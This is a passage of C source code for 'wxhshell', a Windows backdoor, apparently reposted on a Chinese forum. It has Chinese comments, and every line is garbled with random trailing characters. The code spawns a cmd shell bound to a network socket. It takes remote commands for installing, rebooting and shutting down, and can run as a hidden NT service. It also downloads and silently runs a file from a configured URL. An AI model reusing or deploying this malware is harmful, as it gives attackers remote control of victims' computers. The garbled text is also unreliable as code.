    switch(cmd[0]) { Ys5I qj=mp  
  gFM~M(  
  // 帮助 >ZAn2s  
  case '?': { ' b,zE[Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T!pHT'J  
    break; 9\r5&#<(I  
  } *; 6LX  
  // 安装 -,"eN}P^  
  case 'i': { 8?o{{ay  
    if(Install()) 8L))@SA+uJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w (,x{Bg\  
    else *ul-D42!U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UXS+GAWU  
    break; f*[Uq0?  
    } J B  !Q  
  // 卸载 cc3+ Wx_  
  case 'r': { _ =(v? 2:?  
    if(Uninstall()) K+U0YMRmz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cn ;2&  
    else ;sSRv9Xb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *^%ohCU i  
    break; %G]WOq=q  
    } `]2y=f<{X  
  // 显示 wxhshell 所在路径 N1]P3  
  case 'p': { Wc/B_F?2  
    char svExeFile[MAX_PATH]; Dd,]Y}P  
    strcpy(svExeFile,"\n\r"); [4}U*\/>C  
      strcat(svExeFile,ExeFile); .18MMzdN  
        send(wsh,svExeFile,strlen(svExeFile),0); ];Bk|xJ/>  
    break; qS[nf>"  
    } ,5|@vW2@u  
  // 重启 8r jiW#  
  case 'b': { |=Pw -uk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^+dL7g?+  
    if(Boot(REBOOT)) eG5xJA^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KlRIJOS  
    else { z0tm3ovp  
    closesocket(wsh); {,o 0N\(  
    ExitThread(0); sCAWrbOe>  
    } X4v0>c  
    break; bO gVC g  
    } 0 !F! Y_  
  // 关机 OmECvL'Z  
  case 'd': { n\4sNoFI  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xNxSgvco ,  
    if(Boot(SHUTDOWN)) H[iR8<rhQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $,7Yo nc  
    else {  !*-|s}e  
    closesocket(wsh); J po(O>\P  
    ExitThread(0); NFb<fD[C  
    } %t,Fxj4F  
    break; AhSN'gWpbF  
    } &;%LTF@I,  
  // 获取shell E"Y[k8-:2/  
  case 's': { Ivc/g,  
    CmdShell(wsh); sMWNzt  
    closesocket(wsh); )L7h:%h#  
    ExitThread(0); h!]=)7x;  
    break; i}LVBx"K(  
  } $%3%&+z$I  
  // 退出 ,y*|f0&"~  
  case 'x': { (, uW-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >o!~T}J7  
    CloseIt(wsh); J?bx<$C@  
    break; CF@j]I@{   
    } 8}!WJ2[R  
  // 离开 hdH}4W  
  case 'q': { /.[78:G\,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hW-?j&yJ?  
    closesocket(wsh); *Ag,/Cm]  
    WSACleanup(); |`ZW(} ~  
    exit(1); -Y/c]g  
    break; N/N~>7f  
        } Wr\A ->+  
  } rTtxmw0  
  } Zm/I&  
Gmh6|Dsg  
  // 提示信息 6n$g73u<=3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =$Sd2UD  
} GA"zO,  
  }  F]KAnEf  
xU;;@9X  
  return; _air'XQ&!  
} 7,EdJ[CR$  
4xD`Z_U  
// shell模块句柄 :5BVVa0oR  
int CmdShell(SOCKET sock) QNgfvy  
{ 4Yya+[RY  
STARTUPINFO si; 8~8VoU&  
ZeroMemory(&si,sizeof(si)); #\$AB_[ot>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y^hCO:`l3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; aqN6.t  
PROCESS_INFORMATION ProcessInfo; c R6:AGr  
char cmdline[]="cmd"; 1gDsL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AqucP@  
  return 0; [$%O-_x  
} ,ftKRq  
#hF(`oX}4K  
// 自身启动模式 oD&axNk  
int StartFromService(void) jS| 9jg:  
{ % *Lv  
typedef struct k^*S3#"  
{ 3/ 0E9'  
  DWORD ExitStatus; (od9adSehV  
  DWORD PebBaseAddress; 4S3uzy%  
  DWORD AffinityMask; )V?:qCuY>  
  DWORD BasePriority; N)^` 15w  
  ULONG UniqueProcessId; {E$smX  
  ULONG InheritedFromUniqueProcessId; 6k*,Yei  
}   PROCESS_BASIC_INFORMATION; Ni-@El99  
g.T:72"  
PROCNTQSIP NtQueryInformationProcess; 4|Ay;}X \  
#8qhl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U/9_:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \*5${[  
8t >nL  
  HANDLE             hProcess; bE>"DP q  
  PROCESS_BASIC_INFORMATION pbi; :pvJpu$]  
9B?-&t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .I nDyKt  
  if(NULL == hInst ) return 0; _%:$sAj  
|58xR.S'g  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 20A`]-D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /m CE=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i-gN< 8\v  
G#nZ%qQ:I  
  if (!NtQueryInformationProcess) return 0; ~X!Z+Vg  
_mc-CZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~Y/o9x0  
  if(!hProcess) return 0; )4e?-?bK!  
db`L0JB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ws*UhJY<GS  
=a^}]k}  
  CloseHandle(hProcess); :.aMhyh#*  
\2!1fN  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;Bwg'ThT  
if(hProcess==NULL) return 0;  {Bw  
(rm*KD"]  
HMODULE hMod; M2lvD&  
char procName[255]; FE,BvNBZ  
unsigned long cbNeeded; kmT5g gy  
]-"G:r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f O,5 u;  
2rPmu  
  CloseHandle(hProcess); H<Ik.]m  
M)1Y7?r]  
if(strstr(procName,"services")) return 1; // 以服务启动 ~EtwX YkRZ  
 x>$e*  
  return 0; // 注册表启动 ]+A%3 7  
} Wmc@: (n  
#Ic)]0L  
// 主模块 +o-jMvK9  
int StartWxhshell(LPSTR lpCmdLine) ???`BF[|  
{ +^|_vq^XR  
  SOCKET wsl; Lv UQ&NmY  
BOOL val=TRUE; IRyZ0$r:e\  
  int port=0; %8{nuq+c  
  struct sockaddr_in door; "."ow|  
7!U^?0?/  
  if(wscfg.ws_autoins) Install(); `i<omZ[aT  
@|([b r|O  
port=atoi(lpCmdLine); xM)6'= x6  
1V.oR`&2E  
if(port<=0) port=wscfg.ws_port; ?"$Rw32  
V@rqC[on  
  WSADATA data; ->L>`<7(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A~}5T%qb  
]p!)8[<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   QTC!vKM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HT ."J  
  door.sin_family = AF_INET; Q@KCODi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); we8aqEomr  
  door.sin_port = htons(port); 7zq@T]  
Kv9Z.DY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6GA+xr=  
closesocket(wsl); &&g02>gE  
return 1; e2^TQv2(=e  
} !|Wf mU  
ZeLed[J^xJ  
  if(listen(wsl,2) == INVALID_SOCKET) { ,49Z/P  
closesocket(wsl); 4-m6e$p;  
return 1; OE*Y%*b  
} zf;sdQ;4  
  Wxhshell(wsl); '^)}"sZ@G  
  WSACleanup(); =M=v; ,I-  
8W Etm}  
return 0; PdtL Cgd  
1xI  
} YS:p(jtd  
_ee<i8_Va  
// 以NT服务方式启动 y*%uGG5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EpH_v`  
{ |'-%d^ Z  
DWORD   status = 0; F1meftK  
  DWORD   specificError = 0xfffffff; N "}N>xe2  
Ej8g/{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s'|t2`K("  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !<24Cy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0X3yfrim  
  serviceStatus.dwWin32ExitCode     = 0; UmR4zGM}  
  serviceStatus.dwServiceSpecificExitCode = 0; 2Qt!JXC  
  serviceStatus.dwCheckPoint       = 0; S5V:HRj{?  
  serviceStatus.dwWaitHint       = 0; "hi03k  
4Cv*zn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b~qH/A}h  
  if (hServiceStatusHandle==0) return; hd6O+i Y4  
-9::M}^2  
status = GetLastError(); k%BU&%?1  
  if (status!=NO_ERROR) NfUt\ p*  
{ ,u>[cRqw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ||?@pn\  
    serviceStatus.dwCheckPoint       = 0; !Au#j^5K-o  
    serviceStatus.dwWaitHint       = 0; Q(36RX%@  
    serviceStatus.dwWin32ExitCode     = status; Q':hmulT!  
    serviceStatus.dwServiceSpecificExitCode = specificError; o7 t{?|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5 owK2  
    return; Lw2VdFi>E&  
  } rr,w/[  
&r\8VEZq"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \W]gy_=D{  
  serviceStatus.dwCheckPoint       = 0; v& bG`\!  
  serviceStatus.dwWaitHint       = 0; oKb"Ky@s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p6Z|)1O]  
} -We9 FO~  
0(*L)s,5  
// 处理NT服务事件,比如:启动、停止 f7y.##WG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j+@3.^vK  
{ AJm$(3?/D  
switch(fdwControl) ]f0OmUHR5i  
{ 1 +[sM  
case SERVICE_CONTROL_STOP: !I.}[9N  
  serviceStatus.dwWin32ExitCode = 0; '%82pZ,?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \ 'Va(}v  
  serviceStatus.dwCheckPoint   = 0; #*:^\z_Jd  
  serviceStatus.dwWaitHint     = 0; 'ZB^=T  
  { ()48>||  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q k 6  
  } &O^-,n  
  return; SnR2o3r-Of  
case SERVICE_CONTROL_PAUSE: U (#JC(E-#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; iGkysU<wcp  
  break; le]~Cy0  
case SERVICE_CONTROL_CONTINUE: x x4GP2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; uKXNzz  
  break; nwh@F1|  
case SERVICE_CONTROL_INTERROGATE: ^sB0$|DU  
  break; 3H`{ A/r  
}; vENf3;o0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mf)+ 5On  
} 1I{8 |  
Zskj?+1  
// 标准应用程序主函数 -5 8q 6yA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9 @xl{S-  
{ nQoQNB  
J|].h  
// 获取操作系统版本 kw@^4n+M  
OsIsNt=GetOsVer(); ( *Xn"o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A4cOnG,  
HA*L*:0  
  // 从命令行安装 ^:]$m;v]  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6tndC o;`  
h='F,r5#2  
  // 下载执行文件 # )y/aA  
if(wscfg.ws_downexe) { [ r8 ZAS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  -X71JU  
  WinExec(wscfg.ws_filenam,SW_HIDE); s<)lC;#e  
} ZGDT 6,  
f+Sb> $  
if(!OsIsNt) { {X&lgj  
// 如果时win9x,隐藏进程并且设置为注册表启动 C!*.jvhT  
HideProc(); u }gavG l  
StartWxhshell(lpCmdLine); Iz5NA0[=2  
} qfyZda0d  
else {VE h@yn  
  if(StartFromService()) QCF'/G  
  // 以服务方式启动 {@^;Nw%J  
  StartServiceCtrlDispatcher(DispatchTable); 1XMR7liE  
else r~lZ8$KC  
  // 普通方式启动 jk{(o09  
  StartWxhshell(lpCmdLine); O,%,dtD[a  
DzQBWY] )  
return 0; +t+<?M B  
}
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只看该作者 1 发表于: 2006-10-10
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